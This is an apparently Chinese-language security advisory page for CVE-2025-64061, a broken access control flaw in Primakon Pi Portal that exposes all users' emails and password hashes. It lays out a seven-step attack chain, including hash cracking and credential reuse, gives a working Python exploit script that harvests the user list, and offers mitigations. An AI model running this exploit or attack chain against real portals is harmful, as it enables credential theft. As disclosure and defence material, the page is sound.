IPBUF安全漏洞报告
English
CVE-2025-64061 CVSS 4.3 中危

CVE-2025-64061 Primakon Pi Portal用户数据未授权泄露漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-64061
漏洞类型
访问控制不当/敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Primakon Pi Portal

相关标签

CVE-2025-64061访问控制不当敏感信息泄露密码哈希泄露Primakon Pi Portal失效访问控制OWASP Top 10API安全未授权访问中危漏洞

漏洞概述

CVE-2025-64061是Primakon公司开发的Pi Portal应用程序中存在的一个中等严重性安全漏洞。该漏洞位于1.0.18版本的/api/v2/users接口端点,由于系统访问控制机制存在严重缺陷,导致任何经过身份验证的用户(包括低权限普通用户)都能够无需额外授权即可访问该端点。攻击者通过简单地发送GET请求,即可获取应用程序中所有注册用户的完整列表,包括用户名、邮箱地址以及最关键的密码哈希值。这一漏洞属于典型的失效访问控制(Broken Access Control)类型,是OWASP Top 10中排名靠前的安全风险。密码哈希的泄露意味着攻击者可以对其进行离线暴力破解或彩虹表攻击,一旦成功获取明文密码,就可能横向移动到其他系统或服务,造成更严重的安全后果。该漏洞的CVSS评分为4.3,属于中等风险级别,但考虑到泄露数据的敏感性和潜在的连锁攻击风险,其实际危害可能被低估。系统管理员应立即评估该漏洞对业务的影响,并采取相应的修复措施。

技术细节

该漏洞的技术根源在于Primakon Pi Portal 1.0.18版本在实现/api/v2/users REST API端点时,错误地配置了访问控制策略。正常情况下,用户列表接口应当仅对管理员角色开放,普通认证用户只能访问自己的个人信息。然而,该接口的实现中缺少必要的基于角色的访问控制(RBAC)验证逻辑。具体来说,当用户向/api/v2/users端点发送GET请求时,系统仅验证了请求者是否持有有效的会话令牌(authentication token),但没有检查该用户是否具备查看其他用户信息的权限。攻击者只需要拥有一个有效的低权限账户,即可通过BurpSuite、curl或其他HTTP工具构造如下请求:GET /api/v2/users HTTP/1.1 Host: target.com Authorization: Bearer <valid_token>。服务器将返回包含所有用户数据的JSON数组,其中包含password_hash字段,其值通常是经过MD5或SHA-1等弱哈希算法处理的密码。攻击者获取这些哈希值后,可使用hashcat等工具进行高速破解。漏洞利用的关键在于攻击者能够以最低权限账户绕过本应存在的权限检查,这是失效访问控制漏洞的典型特征。

攻击链分析

STEP 1
步骤1:侦察与信息收集
攻击者首先识别目标系统使用的Primakon Pi Portal版本,通过版本探测或公开信息确认目标为1.0.18或更早版本。同时收集目标域名的相关信息。
STEP 2
步骤2:获取低权限账户
攻击者通过社会工程学、凭证填充攻击、默认密码利用或其他方式获取一个有效的低权限用户账户凭据。该账户可以是普通注册用户,无需管理员权限。
STEP 3
步骤3:认证并获取Token
使用获取的凭据登录系统,成功认证后获得有效的Bearer Token或会话Cookie,用于后续的API请求身份验证。
STEP 4
步骤4:构造恶意请求
攻击者构造针对/api/v2/users端点的GET请求,在Authorization头中携带有效的认证Token。由于接口缺少权限检查,请求被服务器接受。
STEP 5
步骤5:提取敏感数据
服务器返回包含所有用户信息的JSON响应,攻击者解析响应内容,提取用户名、邮箱和最重要的password_hash字段。
STEP 6
步骤6:密码破解
攻击者使用hashcat、John the Ripper等工具对获取的密码哈希进行离线暴力破解或彩虹表攻击,尝试获取明文密码。
STEP 7
步骤7:横向移动与权限提升
成功破解密码后,攻击者尝试使用相同凭据登录其他系统(凭证重用攻击),或尝试升级账户权限,最终可能获得管理员访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64061 PoC - Primakon Pi Portal Unauthorized User Data Exposure # Affected Version: Primakon Pi Portal <= 1.0.18 # Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-64061 import requests import json import sys def exploit_cve_2025_64061(target_url, token): """ Exploit for CVE-2025-64061: Unauthenticated access to /api/v2/users endpoint This PoC demonstrates how any authenticated user can retrieve all user data including password hashes due to broken access control. """ headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Target endpoint with broken access control endpoint = f'{target_url}/api/v2/users' print(f'[*] Target: {target_url}') print(f'[*] Exploiting endpoint: {endpoint}') try: # Send GET request as low-privilege authenticated user response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f'[+] SUCCESS: Retrieved {len(data)} user records') print('\n[+] Sample user data with password hashes:') for user in data[:5]: # Display first 5 users print(f" Username: {user.get('username', 'N/A')}") print(f" Email: {user.get('email', 'N/A')}") print(f" Password Hash: {user.get('password_hash', 'N/A')}") print(' ---') # Save full response for further analysis with open('cve_2025_64061_users.json', 'w') as f: json.dump(data, f, indent=2) print('\n[+] Full data saved to cve_2025_64061_users.json') return True else: print(f'[-] Failed: HTTP {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve_2025_64061.py <target_url> <auth_token>') print('Example: python cve_2025_64061.py https://portal.example.com abc123token') sys.exit(1) exploit_cve_2025_64061(sys.argv[1], sys.argv[2])

影响范围

Primakon Pi Portal <= 1.0.18

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 暂时禁用/api/v2/users端点或将其设置为仅管理员可访问;2) 使用Web应用防火墙(WAF)规则限制对该端点的访问,仅允许来自可信IP地址的请求;3) 实施API速率限制,防止攻击者批量提取数据;4) 监控API访问日志,对异常的大量用户数据请求进行告警;5) 强制要求所有用户重置密码,以应对可能的密码哈希泄露风险;6) 禁用或限制弱哈希算法(如MD5、SHA-1)的使用,改为使用bcrypt或argon2等现代强哈希算法存储密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表